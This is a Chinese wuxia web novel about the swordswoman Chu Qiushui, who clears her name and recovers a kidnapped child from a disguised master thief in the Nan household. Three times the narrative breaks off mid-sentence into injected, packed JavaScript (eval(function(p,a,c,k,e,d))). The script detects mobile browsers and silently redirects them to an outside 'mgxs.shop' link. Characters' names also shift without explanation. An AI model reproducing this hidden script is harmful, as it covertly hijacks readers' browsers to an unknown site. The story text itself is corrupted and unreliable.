《秋水与大剑》 1. 吃上国家饭了 褚秋水这辈子没吃过这么大的亏。 自从她拜别宗门开始下山游历,借着她凌霄宗内门弟子的身份,不说人人恭谨,至少对她都是以礼相待的。 哪像现在这样,被南家的家丁五花大绑,收走了大剑,扔在一间柴房里。 旁边堆着半人高的干柴,空气里一股霉味儿掺着些陈年灰尘,呛得她直打喷嚏。 绑她的麻绳有拇指粗,在她腕上系着。 褚秋水低头看了一眼,多少有些委屈。 就这?一根普普通通的麻绳,都没上捆仙锁?她师傅要是知道她被这种东西绑了,能笑话她三年。 她微微用力,轻轻松松就将麻绳挣开了。 柴房无聊,连个能和她练剑的人都没有。 褚秋水想了想,还是准备复盘一下。 她从旁边的柴垛中抽出一根木棍,指尖凝出一道细小的剑气,刷刷几下就把木棍前端削尖了。然后她蹲在地上,开始写写画画,复盘今天的倒霉经历。 褚秋水今天来到南府,本是求取剑谱的。 结果刚报上姓名,门房就神色大变,要将她捆住。她问原因,对方就说她是冒充凌霄宗行骗的骗子,还拐了府上的二少爷,要等家主回来发落。 冤枉啊。 她们凌霄宗是正规门派,有官府颁发的执业资格证,她也是正经有毕业证的门内弟子,怎么可能做这种事。 关键是,下山前师父再三叮嘱:在外行走,不可随意出剑,不可伤及凡人,遇事先讲理,讲不通再跑。 所以她只能假装被他们捆住,老老实实被扔进这间柴房。 褚秋水在地上画了个圈,标注:南府疑点。 当务之急,是见到南府家主,澄清误会,把剑要回来。 就在这时,柴房门响了一声。 褚秋水神色一凛,手上木棍直朝声音来处刺去! “啊!” 棍尖在距对方喉前一寸之处稳稳停住。 褚秋水打量着来人。 是个姑娘,穿着南府下人的衣裳。生了一双桃花眼,眼波流转间自带三分情意,此刻却被吓得满是惊恐。本就白皙的小脸,在从门缝透进来的光线里显得更白了。 她手上拎着一个食盒,米粥的香气从缝隙中飘出来。 “你是谁?”褚秋水没有收棍,反而将木棍抵得更近,“我要见你们家主。” 她看着那姑娘的眼睛。那眼神里的恐惧是真的,但她手里的食盒却是稳稳当当的,一点没晃。有点意思。 那姑娘被棍尖指着,声音都在发抖:“我……我是夫人派来的……给你送粥的……” 她把食盒打开,里面是一碗小米粥,粥面上浮着一层切得细细的咸菜。 褚秋水抿了抿唇。 她不吃咸粥。 但眼下不是挑嘴的时候。 “你先喝一口。” 那姑娘愣了愣,然后乖乖端起碗,抿了一小口粥,还特意把碗沿转了个方向,露出没有碰过的位置。 褚秋水这才接过碗,一边喝一边琢磨着打听点情报。 “你是?” 那姑娘垂下眼睛,声音更低了些:“奴是……是大夫人身边的丫鬟夏荷……” 她面上不动声色,继续问:“怎么是你来送饭?你们府上其他人呢?” “夫人说人手不够,都去前厅接大少爷了。”夏荷垂着眼睛,细声细气地说,“姑娘,粥要凉了。” 褚秋水喝了半碗,还是觉得这人可疑。 她眼珠一转,计上心来。 “哎呀——” 她佯装手滑,粥碗直直往地上掉去。 若对方也是修炼之人,接住一个掉落的碗就跟喝水一样简单。若不是,那碗碎了也就碎了,南府家大业大也不差这一个。 褚秋水盯着夏荷的手。 然后她看见,夏荷的手动了。 夏荷下意识地去接住那掉落的碗。手腕一翻,掌心一托,那碗就十分听话的稳稳落在她手里。 粥一滴都没洒。 褚秋水的眼睛亮了。 有点东西啊。 正好练练,她也有些手痒了。 她二话不说,伸手就去抓那只碗。 夏荷像是早有防备,手腕一翻,碗在她掌心滴溜溜转了个圈,稳稳当当滑到另一只手上。 “姑娘这么急着喝粥?”夏荷冲她眨眨眼,一脸无辜,“这碗都差点摔了,奴为姑娘留住了晚餐,姑娘不该夸奴吗?” 褚秋水笑了。 这丫鬟,实在是有趣,陪她玩玩又如何。 “夸你?”褚秋水说,“行啊,那得看看你的本事。” 话音未落,她右手探出,直取那只碗。 夏荷防备不及,被她取了碗。她也不恼,始终笑眯眯地看着褚秋水。 褚秋水顺势喝一口粥,感觉咸粥也没这么讨厌。 “看你接不接得住。” 说完,褚秋水指尖凝着些灵力,略用力地将碗掷去。 夏荷见她用了真格,也使出些灵力,将抛来的碗卸力之后,再拿在手上,顺着也喝了一口。 “姑娘好大的力气。”夏荷抿嘴笑,“这要是打在奴身上,奴就见不到明天的日光了。” 褚秋水挑眉。 她刚才那一掷,虽然没用全力,但也用了两分劲。普通人别说躲,连反应都反应不过来。 一个丫鬟,竟然能有如此功力。 “你到底是什么人?”褚秋水问。 夏荷眨眨眼,一脸无辜。 “奴说了呀,是大夫人的丫鬟——” 话没说完,夏荷手上一动,她抬起头,冲着天上看了一眼。 “碗要掉了。” 褚秋水看见她的动作,下意识抬头。 那只碗正从半空中落下来。 她伸手去接,就在这时,夏荷忽然从她掌下溜了出去,身形一晃就到了一丈开外。 “你到底是什么人?”她问。 夏荷被她这样质问,眼眶都红了,看着楚楚可怜。但那双桃花眼里,此刻却有着点兴奋。 “奴……” “别装了。”褚秋水打断她,“练过的人,装不了普通人。” 夏荷沉默了一瞬,随后恢复了往常的那副笑容。这笑容和刚才假装的楚楚可怜完全不同,此时的笑容带着点狡黠,还带着点玩味。 “褚女侠好眼力。” 褚秋水眯起眼。 夏荷略一走位,拾起了那根被褚秋水削尖的木棍。 “来过两招如何。” 她拿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371596|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那根棍子,随手挽了个剑花。那动作行云流水,赏心悦目,就是太花哨张扬了,和他这个人一样。 褚秋水有些心痒,她在宗门中就有剑痴的名头,遇到这种邀请,怎么可能会拒绝。 “花架子。” “花架子?”夏荷挑眉,“不试试怎么知道。” 话音未落,棍子已经刺了过来。 褚秋水侧身让过,随手从柴垛里又抽出一根木棍。 两人就这么在柴房里比划起来。 那人走的是轻灵路子,棍法飘忽不定,专挑刁钻角度。 褚秋水则是大开大合,每一棍都带着呼呼风声,这还是她收了力的,不然这柴房早就塌了。 过了十几招,褚秋水心里有了数。 这人确实练过,而且练得不差。她的路数太巧了,处处都是取巧的法子,没有硬桥硬马的真功夫。 遇上普通修士能周旋一二,遇上她这种从小被师傅往死里练的…… “破绽。”褚秋水一棍敲在她棍身中间,震得她虎口发麻。 那人后退一步,甩了甩手,龇牙咧嘴的,却还在笑。 “褚女侠好大的力气。” 褚秋水把棍子往地上一杵,看着她。 “说吧,你到底是谁?来干什么?” 夏荷把棍子还给她,拍了拍手上不存在的灰,忽然往前凑了一步。 两人离得很近,近到能闻见她身上淡淡的竹叶清香。 “我来干什么?”她说,声音放得很轻,“来见你啊。” 褚秋水愣住了。 “见我?” “嗯。”那人眨眨眼,“早就听说凌霄宗有个背大剑的姑娘,力气大得能一拳打死牛。我好奇,想看看长什么样。” 褚秋水:“……” 这什么乱七八糟的理由。 “你认识我?” “当然认识。”那人答得理直气壮,“不然来给你送什么粥。” 褚秋水在练剑上打遍同辈无敌手,但对于这种死皮赖脸胡搅蛮缠的人,她却不知道怎么应对,一下子被夏荷这话堵得不知该说什么。 她仔细打量面前这个人。明明是女装,但站姿、说话的方式,总让人觉得哪里怪怪的。可要说哪里怪,又说不上来。 “你……” 那人忽然竖起手指,抵在唇边。 “嘘。” 褚秋水竖起耳朵。 外面传来一阵脚步声。 “褚女侠?褚女侠?先前多有得罪,家主让我带您去前厅,是我们错怪您了——” 有人来了。 褚秋水转头看向翠菏。 “改日再会,褚姑娘。” 翠菏说完,身形一晃,悄无声息地飘到了柴房的小窗边。 那窗户只有一尺见方,人根本钻不出去。 但那人只是轻轻一纵,整个人就像一片叶子似的,从那个小窗口飘了出去,没漏一点脚步。 轻功好得离谱,比她的任何一个师兄师姐都要好。 褚秋水看着那个空空的小窗,愣了一瞬。 门外脚步声越来越近。 她低头看看手里的木棍,又看看地上打翻的粥碗,再看看自己挣开的麻绳。 有些可惜,过招还没过瘾,人就先走了。 2. 演戏 褚秋水跟在那名带她去前厅的仆人身后,一边走一边在心里把南家的底细过了一遍。 南家老爷就是百年前的天下第一剑修,一柄云峤剑使得出神入化,当年以一己之力挑落十八路高手的故事,是多少剑修梦寐以求的传奇。 褚秋水此次前来南府,就是为了借阅他当年写下的《南峤剑谱》。 南家老爷有两个孩子,长子是现任家主南郃。老爷子退隐后,就把掌家权交给了这个儿子。 这位大少爷据说身体不太好,膝下无子,鲜少在外露面,但把南家打理得井井有条,短短十年就把一个普通富户经营成北方边城数一数二的世家。 被拐的孩子是南家老爷的老来子,二少爷南屿,不过总角之年,现在被南郃夫妻当儿子养着。 褚秋水被押进来的时候观察过府内的守卫——肃然有序,把守森严。按理说,从这种地方拐走一个孩子并不容易。 二少爷身边围着二十几个奶娘、小侍,在这种人墙战术下,就算是二十几个馒头都要啃上一会儿,怎么会突然不见? 除非是有人里应外合。 她心里有了些猜测,只等见到南郃,应该就能印证一二。 穿过最后一条长廊,终于到了云陵堂的会客厅。 入夜了,云陵堂内点上了长明的鲛油灯,火光柔和,映得厅内恍若白日。这灯油珍贵,一盏能烧一个月,南家随手就点了七八盏,确实家大业大。 主位上,一位青年正低头看什么,听见脚步声,他抬起头来。 褚秋水微微一怔。 这人跟她想象的不太一样。 生得倒是玉容清姿,眉眼温润,但脸色有些苍白,他面前八仙桌上摆着的,正是她那柄比人还高的大剑。 “褚女侠,”他开口,声音温和,但有些虚弱,“先前多有得罪。这是你的剑,我都好好存着,现在物归原主。” 他双手捧起大剑,递了过来。 褚秋水见状,也是二话没说把剑接了回来。她的剑是由被烛九阴盘过的千年玄铁锻造而成,铸剑不易,只成功案例只此一柄,此剑远非常人能拿起的。 这南家大少爷是有些功夫在身上的。 褚秋水低头仔细探查一番,发现自己的剑确实完好无损,这才抬眼看向面前的青年。 “南家主,这就是你们的待客之道吗。”她淡淡开口。 南郃带着歉意,嘴角弯起一个温和的弧度:“并非如此。下人无礼,让女侠受惊了。我已罚过他们,还望女侠海涵。” 褚秋水看着对方认错态度良好,心里那点不快不知不觉就散了。 她本也不是爱胡搅蛮缠的人,何况这南府有趣之处颇多,也没让她吃什么苦头。 “好说。”她把剑往背上一挂,“南家主,我为学艺求谱而来。剑谱的事——” “自然。”南郃示意她坐,“女侠稍坐,容我细说。” 两人落座,褚秋水把剑横在腿上,她可舍不得她的宝贝再离开她了。 南郃端起茶杯,轻轻抿了一口,放下。动作慢条斯理的,每一个关节都透着一种急不得的气息。 褚秋水看着他,觉得自己喝茶是牛嚼牡丹,要是像他这么慢地喝,自己能急死。 “女侠来意,我已知晓。”南郃开口,轻咳两声,“家父的剑谱,确在府上。只是……” 他顿了顿,抬眼看向褚秋水。那目光温和,却让人看不透他在想什么。 “女侠可知,我家近日出了些事?” “令弟失踪的事?”褚秋水问。 南郃点点头。 “实不相瞒,我今日请女侠来,正是想求女侠相助。”他单刀直入,“若女侠愿助我寻回阿弟,剑谱双手奉上。” 褚秋水挑眉。比她想象中要直接,她以为要绕半天弯子。 “令弟失踪,南家主不报官?” “报了。”南郃说,“官府也查了,一无所获。” “那南家主为何想到我?” 南郃看着她,从容地解释。 “凌霄宗的名头,我信得过。女侠行走江湖之时,多行仗义之事,南某也多有耳闻。”他说,“再者……” 他又顿了顿,目光在她背后的大剑上扫过。 “令弟失踪,未尝与女侠无关。” 前半段话给褚秋水夸的飘飘然,后半段话又让她摸不着头脑。 “此话怎讲。” “阿弟失踪那天,正和旁系几个孩子一起听学。过了下课许久,孩子们还没出来。等小厮察觉不对,破门而入时,才发现几个孩子和教书先生都晕着,桌上留着‘褚秋水到此一游’的字条,而阿弟已经不见了。” “竟然是这样,难怪我当时一报名字,门房就和见鬼了一样,”她一拍大腿,“行我答应了。” 南郃愣了一下,他大概没想到她答应得这么干脆。 “女侠……不再考虑考虑?” “考虑什么?”褚秋水说,“你们家剑谱我想要,你们家孩子丢了该找,两件事凑一块儿,正好一起办了。” 她看着他。 “不过我有个条件。” 南郃神色不变:“女侠请说。” “跟我打一架。” 南郃愣住了。 “……什么?” “和我打架。”褚秋水站起来,把刚放下的剑又抽出来,“我来之前就听说了,你们南家剑法名动天下。我想见识见识。” 她看着南郃,眼中全是志在必得。 南郃沉默了一瞬,随即点点头。为了弟弟,他必须答应。 “女侠执意要比,那便比。”他说,“不过我有言在先,我身体不好,只能过三招。” 褚秋水点点头,也不愿难为人。 “三招就三招。” 老管家在旁边急得直搓手:“大少爷,您这身子——” “无妨。”南郃摆摆手,“去把剑取来。” 老管家没办法,只好去取剑。 不一会儿,他捧着一柄长剑回来。 那剑通体青色,剑身细长,剑柄上缠着银丝,看着就轻灵。 南郃接过剑,握在手里。 那一刻,他整个人笃的有些不一样了。还是那副单薄的身板,但握剑的那只手,稳得纹丝不动,眼神也犀利起来。 褚秋水满意地点点头,这才是剑修过招的架势。 “好。”她说,“那我出招了。” 大剑出鞘,带起一阵风声。 她没用什么招式,就是一记平平无奇的横扫,但力气没收,使了十成十的劲。 南郃身形一动。 他动得极轻,像是被风吹起的柳絮,贴着剑锋飘了过去。那柄青剑在他手里划过一道弧线,直取褚秋水手腕。 褚秋水大剑一翻,挡开这一剑。 两剑相交,发出清脆的鸣响。 南郃的剑被震得往后一荡,他的人也跟着退了一步。 褚秋水心里有了数。 这人剑法确实精妙,但力气不足。他的剑走的是轻灵路子,每一招都恰到好处,多一分则过,少一分则亏。可惜他身体撑不住,不然她真想好好打一场。 三招过完,南郃收剑,又咳了两声。 “女侠好力气。”他说,“是我输了。” 褚秋水把剑收回来,看着他。 “你们家剑法名不虚传。”她认真地说,“我虽然赢了,但赢得不痛快。你要是身体好,咱们能打很久。” 南郃愣了一下,然后笑了。 那笑容比之前真诚了些。 “女侠这话,我当是夸奖。” “就是夸奖。”褚秋水说,“行了,我答应了。帮你找弟弟。” 南郃看着她,目光有些复杂。 “女侠果真如传闻中一样,就不问问,我有什么线索吗?” “你有线索吗?” “有一点。” 听完他的话,更加验证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371597|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了褚秋水的猜想。 褚秋水摸着剑柄:“南家主,我有一计,但需要家主配合……” 等说完,门外忽然传来一阵急促的脚步声。 “阿郃!” 那声音又急又亮,颇有力气。 褚秋水直起身,回头看去。 一个女子大步走了进来。 她穿着绛红色的衣裙,步伐带风,眉眼凌厉,一看就是当家的。但她的目光落在南郃身上时,那双眼睛里的锐利一下子就软了。 “阿郃!”她快步走到南郃身边,上上下下打量他,“你怎么样?我听说你动剑了?” 南郃还没来得及开口,她已经握住他的手,翻来覆去地看。 “你疯了?你那身子能动剑吗?大夫怎么说的?让你少动少动,你就是不听——” “小敏。”南郃轻轻叫了一声,眼神也柔和了许多。 那女子抬起头,瞪着他。 “我跟你说过多少次了,有什么事让下人去做,你要是再晕一次,我就……” 她说着,眼眶忽然有点红。 南郃看着她,目光温柔得像一汪水,眼中根本装不下别人。 “没事。”他轻轻拍了拍她的手,“就过了三招,不碍事。” “三招?”那女子瞪大眼睛,“你还想过几招?” 褚秋水在旁边看着,觉得自己已经吃饱了,正在发光发亮。 她轻咳一声。 那女子这才注意到她,转过头来。 “你就是凌霄宗那位姑娘?” 褚秋水点点头。 那女子打量她一眼,目光在她背后的大剑上顿了顿。 “我叫江时敏,是阿郃的妻子。”她说,“多谢你照顾他。” 褚秋水被她这话说得有点心虚。 她没照顾,她刚把人家打……不对,是刚和对方比划了几下。 “那个……应该的。”她含糊道。 “阿郃肯定求你帮忙了吧?”她说着,带着点无奈,“他这人,看着温和,其实最会给人下套。你别被他绕进去。” “小敏。”南郃无奈地叫了一声,试探地晃了晃江时敏的衣袖。 江时敏把他的手拍开,只是看着褚秋水。 “姑娘别介意,他就这样。不过他是真心想找弟弟的。阿弟本也有不足之症,身体比寻常儿童要弱一些。你要是愿意帮忙,我感激不尽。” 她说着,微微福了福身。 褚秋水连忙摆手。 “不用不用,我答应了就肯定帮。而且师傅也说过,我们剑修修习剑术,本也就是为了在别人需要的时候帮上忙。” 江时敏点点头,又看向南郃。 “阿郃,给人家姑娘安排住处了吗?” “安排了。”南郃说,“东跨院那间。” 江时敏想了想,点点头。 “那间好,清静。”她转头看向褚秋水,“姑娘一路奔波也累了,先去歇着吧。有什么事明天再说。” 褚秋水求之不得。 她正要走,南郃兀然开口。 “褚女侠。” 她回头。 南郃和江时敏比肩而立,互相牵着对方的手。 “我给你备了份礼物,放在房间里了。”他冲她眨眨眼。 江时敏在旁边哼了一声。 “什么叫你备的?明明是我挑的。” 南郃了然地笑着像是知道她会这么说。 “好好好,是你挑的。小敏眼光很好,女侠你一定会喜欢的。” 褚秋水看着他们两个,感觉有些羡慕,毕竟这样纯粹的感情不多见。 她摆摆手,跟着仆人往东跨院走去。 到了之后,她推开门,走进院子。 夜风吹过来,带着淡淡的桂花香。 屋里亮着灯,暖融融的。 她推开门,往里看了一眼—— 然后愣住了。 屋里有人。 3. 睡眠和计划 一个熟悉的声音在黑暗中响起,带着点委屈:“你去哪儿了?我一个人在屋里等了好久,还以为你今晚不回来了。” 声音很熟悉,是那个在柴房给她送粥的夏荷。 褚秋水:“……你就是南夫人准备的惊喜?” 真是好大一张床,真是好大一个惊喜。 “对呀对呀,”夏荷无辜地说到,“你不喜欢吗。” 褚秋水沉默着点亮桌上的烛台,火光摇曳间,她可以看见对面女孩那张楚楚可怜的脸。 这究竟是什么鬼热闹!夏荷要对她实施睡眠计划吗! 她捏了捏眉心,努力让自己的语气平和一些:“行,惊喜我知道了。你现在可以回你自己屋了。” “可是……”她往被子里缩了缩,只露出半张小脸,声音闷闷的,“外面好冷。” 褚秋水看了一眼窗外——月明星稀,微风徐徐,是个再舒服不过的春夜。 “外面不冷。” “冷的。”她固执地重复一遍,还配合地打了个喷嚏,“阿嚏——你看。” 褚秋水感觉对面的人很是难缠,她的脑袋嗡嗡作响。 夏荷又往被子里缩了缩,只露出低垂的双眼,里面盛满失落:“我知道了,你是嫌弃我了。” “不不不,我当然不是。”褚秋水觉得有点头疼。 夏荷不语,只是一味地看着她。 “好吧好吧。”褚秋水不想再直面那束委屈谴责的目光,蹬了鞋子准备上床。 躺在床上,身边莫名其妙多了一个虎视眈眈的人,总感觉怪怪的。 褚秋水闭着眼,在心中暗自给自己打气。 没事的没事的,两个女孩子能有什么事,哈哈,放松点。况且她天生神力,难道对方还能直接捆住她吗。要是真的捆,她就左勾拳!右勾拳!飞踢!拎衣领往地上甩…… 神游之时,夏荷伸手过来,轻抚上她的脸,声音温柔。 “你的脸好烫啊……” “你你你你别动我啊,我会用大剑啊我和你说……”褚秋水在她摸过来的一瞬间就想跳起来了,怕吓到她,只能硬生生忍住。 “说什么呢,”夏荷捂着嘴偷笑,“真精神啊。女侠,你要帮着家主找二少爷吗。” “嗯。” “你准备怎么帮啊。” “这个不能透露,但我能保证,三天之内,必然把孩子给找到。” 见身旁的人没再说什么话,褚秋水总算放下心来,安抚自己一下就准备着酝酿睡意。 下一刻,柔弱的声音再次响起了:“女侠,我的手好凉啊……” 褚秋水没睁眼,马上把自己这边的汤婆子递过去。 对面这次倒是没拒绝,接了过来。 但随即,夏荷哎呀一声:“嘶——好烫。” 轻言漫语钻入褚秋水耳中,对面身上的青竹香味也越来越近。褚秋水知道再不理她,她真的要贴过来了。 褚秋水被迫睁开眼,面前的女孩眼若春水,可怜兮兮地把烫红的指尖伸过来。 “女侠你瞧,我的手……” 哈哈,等医生赶来,这点红痕也消了吧。 虽然是这么腹诽,但为了防止她再折腾什么东西,褚秋水还是把对方的手拉来捂住。 见褚秋水这么坦诚,卫寒苍反而有些扭捏。 她心中天人交战许久,才小声地问道:“你对其他女孩子也是这样吗。” 没人回答,她才发现褚秋水已经睡着了。 “哼……笨蛋。” 虽然这样说着,她还是贴了过去,离对方更近了一点。 第二天,褚秋水受江时敏所邀,去她的院子里吃着新买的果子。 两人一边吃着,一边唠嗑。 “夫人和家主感情真好。”褚秋水嚼嚼嚼,这果子真新鲜。 江时敏脸上挂着幸福的笑意:“是,大家都这么说我和阿郃。诶,昨天晚上我为你准备的东西,你可还满意?” “我……你……嗐……”褚秋水没想到她会问这个,顿了顿,“其实,美色是于修炼全然无关的外物。” “美色?”江时敏有些疑惑,“是昨晚的酥饼……” 这时,外头忽然传来一阵喧哗。 脚步声、喊声、笑声,混在一起,由远及近。一个小厮连滚带爬地跑进来,脸上的表情又惊又喜:“夫人!夫人!二少爷找到了!” 江时敏手里的果子“啪”地掉在桌上。 “什么?”她霍然站起来,“在哪里?” “在东跨院!”小厮喘着气,“有人在后院发现二少爷,正睡着呢,身上盖着件袍子,一点伤都没有!” 江时敏二话不说就往外冲。跑到门口,她忽然停下来,回头看了褚秋水一眼。那眼神里有一闪而过的紧张——她们都知道,这是计划的第一步。 “褚姑娘,你跟我来。” 褚秋水点点头,跟上去。路过回廊的时候,她余光扫见角落里站着个小丫鬟,脸色白得像纸,正死死攥着衣角。 褚秋水心里暗自记下,但面上不动声色,跟着江时敏快步走了。 东跨院里已经围了一圈人。南郃站在门口,脸色还是那么苍白,但眼睛亮得吓人。看见她们过来,他微微点头,侧身让开。 屋里,一个小小的身影躺在床上,盖着被子,睡得正香。那张小脸圆圆的,睫毛又长又翘,确实是南屿没错。 当然,是假的。 江时敏扑到床边,一把抱住那孩子,哭得惊天动地:“阿弟啊!你可算回来了!”那哭声情真意切,褚秋水在旁边看着,差点都信了。 南郃走过去,轻轻拍着妻子的背,眼眶也红了。他抬头看向门外那些仆从,声音沙哑却清晰:“去,告诉所有人,二少爷找到了。今夜设宴,阖府同庆。” 欢呼声此起彼伏。 褚秋水站在角落里,看着人群散去,看着南郃扶着江时敏进了内室,看着“南屿”被奶娘抱去洗漱。一切都很自然,自然得像真的一样。 她回到自己的院子时,天已经黑了。 深夜,万籁俱寂。 东跨院里只留了几盏守夜的灯,昏黄的光透过窗纸,在地上投出淡淡的影子。那个“找到”的二少爷被安排在内院的小房间里,奶娘守在隔壁,偶尔传来一两声翻身的声音。 一道影子贴着墙根,无声无息地滑了过来。 那影子很轻,轻得像一片落在水面的叶子,连守夜的灯都没晃动一下。她停在窗边,侧耳听了一会儿,然后伸手,轻轻推开窗户—— “等你很久了。” 灯火骤亮。 褚秋水从门后闪出来,大剑横在身前。南郃从屏风后走出来,手里握着那柄青色的剑。江时敏从内室出来,手里拿着一把短刀,刀刃泛着寒光。 三个人,三个方向,把窗户堵得严严实实。 窗边的人僵住了。 烛光下,那张脸白得近乎透明,桃花眼里满是惊恐。她穿着那身丫鬟的衣裳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371598|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手还搭在窗沿上,整个人像被定住了一样。 夏荷。 或者说,是冒用夏荷名字的拐子。 “果然是你。”南郃的声音很平静,但握剑的手微微发颤,不是害怕,是气的。 江时敏就没这么客气了。她一步上前,短刀抵在“夏荷”脖子上,声音冷得像冰:“我弟弟呢?” “夏荷”看着她,又看看褚秋水,再看看南郃。那张脸上的惊恐慢慢褪去,取而代之的是一点是无奈,又像是好笑。 “你们设局骗我?”她问。 “不然呢?”褚秋水把大剑往地上一杵,发出沉闷的声响,“我说三天之内找到孩子,就是要引得你好奇。毕竟,只有凶手才会反复回到现场。” “夏荷”听着她的分析,连连肯定,脸上的笑意也越来越明显。 不愧是她,虽然有着初出宗门的稚嫩,但也不失机敏和热血。 “褚姑娘,”她说,“你演我。” 褚秋水被她这话噎了一下。 “你行骗在先,我演你怎么了?” “夏荷”歪了歪头,那双桃花眼在烛光下亮得惊人。 南郃在旁边轻咳一声,把话题拉回来。 “姑娘,”他说,“我不管你是什么来历,我只问你一句——我弟弟在哪里?” “夏荷”看着他,沉默了一会儿。 然后她叹了口气。 “南家主放心,”她说,“令弟好好的,一根头发都没少。我就是借来玩几天,本来打算过两天就还回来的。” “玩?”江时敏的短刀又往前送了送,“你拿我弟弟当什么?” “夏荷”看着那把刀,眨眨眼。 “夫人别急,”她说,“令弟在城外三里的白云观里,交给一个道姑看着。吃得好睡得好,比在府里还胖了两斤。” 江时敏的手抖了一下。 “你……” “我说的是真的。”“夏荷”认真地看着她,“我虽然爱偷东西,但从不害人。尤其是小孩,碰都不会碰一下。” 她顿了顿,忽然笑了。 “而且,我还帮他治了身上的不足之症。” 南郃和江时敏同时愣住了。 “什么?” “令弟先天心脉有损,”卫寒苍说,“这个你们应该知道。我给他喂了颗九转护心丹,以后不会再犯病了。” 江时敏有些拿不准对方的想法,她转头看向南郃,南郃也在看她。 九转护心丹。那是传说中能起死回生的灵药,有价无市,有钱都买不到。 这人,偷了人家的孩子,还给孩子喂了颗仙丹? “你……”南郃开口,声音有些哑,“你到底图什么?” “夏荷”看着他,又看了看褚秋水,笑得坦然。 “只是借机扬名罢了。” 屋里安静了一瞬。 褚秋水愣住了。 “扬名?” “嗯。”“夏荷”点点头,“能从戒备森严的南府偷出被视若珍宝的小少爷,再原封不动地还回来,这笔生意,做得划算得很。” 褚秋水:“……” 这是什么理由?偷东西还挺理直气壮的。 南郃听到“夏荷”的回答,若有所思地看了褚秋水一眼。 趁着众人愣神之际,“夏荷”微微一笑:“当然,有借有还,再借不难。你们接好了——” 说完,她不知从哪里变出一个襁褓,向着房梁抛去。 4. 我要跟着你 众人皆是被这一遭吸引了注意,所有人的目光都集中在那个襁褓上。 江时敏最先出手,抢着接住了那个襁褓,剥开一看,正是失踪的二少爷南屿。南屿呼吸平和,养的白白胖胖的,睡得十分香甜。 南澈也是立马凑过去,手指搭在小孩的脉搏处探着。 他和江时敏对视一眼,在对方的眼中看见了震惊——南屿的病竟然真的好了。 这么多年,南府为南屿遍寻名医秘药,但这是先天不足之症,难以根治。现在竟然被一个陌生的人直接治好了。 等三人反应过来,准备再寻“夏荷”的身影时,对方却不知什么时候就已经离开了。 此刻,江时敏把南屿从襁褓里抱出来,轻轻放在他常睡的小床上,又给他掖好被子。 看着孩子安睡的小脸,江时敏感觉这比一起都要重要。 这时,管家来到她身边,轻声汇报,她的贴身丫鬟夏荷被找到了,已经把所有的都招了。 原来半月前,有个神秘人找到她,给了她一大笔钱,让她配合自己。神秘人会简单易容,借着夏荷的名头,和她共用一个身份在府里游走,趁二少爷上课的时候把人偷走。 夏荷知道这件事之后也是吓坏了。她本以为对方只是来偷点金银珠宝,却没想到对方把主意打到被南府视为眼珠子的二少爷身上。 之前南府封府了她没法走,当她看见二少爷被找回来之后,立刻收拾东西准备离开,没想到被在后门守着的管家逮个正着。 江时敏把这些都和褚秋水说了一遍。南郃带着人出府了,准备寻着“翠菏”留下的痕迹把人逮回来。 “那贼人可曾留下名号?”褚秋水问。 “没有,那人行踪诡谲,不常以真面目示人。”江时敏摇摇头。 但江时敏像是想起来什么似的:“秋水啊,我想起夫君之前和我提起过的一个人,和此人的行事非常像。” “谁?” “江湖人称‘盗圣’的那位。” 褚秋水眉头一皱:“盗圣?那个专偷神器的贼?” “就是他。”江时敏放下酒杯,开始掰着指头数,“此人出道五年,偷遍天下无敌手——北冥派的镇派宝剑、东海阁的千年珊瑚,甚至听说连皇宫大内他都进去逛过一圈,顺走了御书房里的一块端砚,还在墙上留了首诗。” 褚秋水:“……留诗?” “对,他有个毛病,偷完东西喜欢留记号。”江时敏表情一言难尽,“有时是一朵梅花,有时是一句诗,有时干脆画只王八。江湖人称‘盗亦有道’——其实是他手痒,不留下点什么都觉得白来一趟。” 褚秋水想起那日那人说话的语气,忽然觉得这确实像他能干出来的事。 “他叫什么?” “不知道。”江时敏摊手,“没人知道他的真名,年纪轻轻,神出鬼没。有人说他是个翩翩公子,有人说他是个糟老头子,还有人说他是女的——因为有人见过他女装出入青楼。” 褚秋水:“……女装?” “对,此人易容术出神入化,男装女装随意切换。”江时敏叹气,“最邪门的是,他女装的时候也是貌美,据说当年在扬州扮花魁,迷得一群富商神魂颠倒,第二天醒来发现自家库房空了,还以为是花魁显灵。” 褚秋水沉默了。 两人又说了一会话,褚秋水拿了剑谱和南家的一只玉玲,就离开了。这玉玲是南家给她的承诺,见玉如见人。 少女背着大剑,独自走在竹林小径上。 午后阳光正好,照在她的身上,暖洋洋的。 